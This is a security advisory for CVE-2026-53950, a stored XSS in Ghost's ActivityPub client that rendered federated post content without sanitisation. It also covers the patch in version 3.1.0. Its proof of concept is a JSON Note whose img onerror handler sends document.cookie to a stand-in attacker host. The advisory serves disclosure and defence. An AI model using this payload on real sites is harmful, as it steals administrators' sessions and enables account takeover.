high · 7.5CVE-2026-53950Aug 4, 2026

CVE-2026-53950: @tryghost/activitypub Stored XSS via Federated Post Content

Rohit Hatagale
AI Security Researcher, SecureLayer7

Ghost's ActivityPub feed rendered HTML from remote Fediverse servers without sanitization, letting a malicious server inject and run arbitrary JavaScript in a Ghost admin's browser.

Package@tryghost/activitypub
Ecosystemnpm
Affected< 3.1.0
Fixed in3.1.0

The problem

Ghost's ActivityPub client rendered incoming post content from federated servers directly into the DOM using React's dangerouslySetInnerHTML, with no HTML sanitization applied first.

A maliciously configured ActivityPub server can set the content field of any shared post to arbitrary HTML. When a Ghost admin views that post in their feed, the JavaScript executes in their session, allowing session hijacking or account takeover.

Proof of concept

A working proof-of-concept for CVE-2026-53950 in @tryghost/activitypub, with the exact payload below.

json
A malicious ActivityPub server returns a Note object whose content field contains injected script HTML:

{
  "@context": "https://www.w3.org/ns/activitystreams",
  "type": "Note",
  "id": "https://evil.example/notes/1",
  "attributedTo": "https://evil.example/users/attacker",
  "content": "<p>Totally normal post</p><img src=x onerror=\"fetch('https://evil.example/steal?c='+document.cookie)\">",
  "to": ["https://www.w3.org/ns/activitystreams#Public"]
}

The client-side FeedItem component passed object.content directly into dangerouslySetInnerHTML, which bypasses React's built-in XSS escaping and injects raw HTML into the DOM. Because ActivityPub content is attacker-controlled (any federated server can set it), this is a straightforward stored XSS via a trusted-but-external data channel.

The patch added HTML sanitization (stripping script-capable tags and event handler attributes) before the content string reaches dangerouslySetInnerHTML, cutting off the injection point at the only place it could be fixed: client-side, before render.

The fix

Upgrade @tryghost/activitypub to v3.1.0 or later. Ghost fetches this package automatically, so self-hosted installs should update Ghost itself to pick up the patched version. No configuration changes are required.

Reported by Brad Geesaman, Ghost Security.

References: [1][2][3]

Related research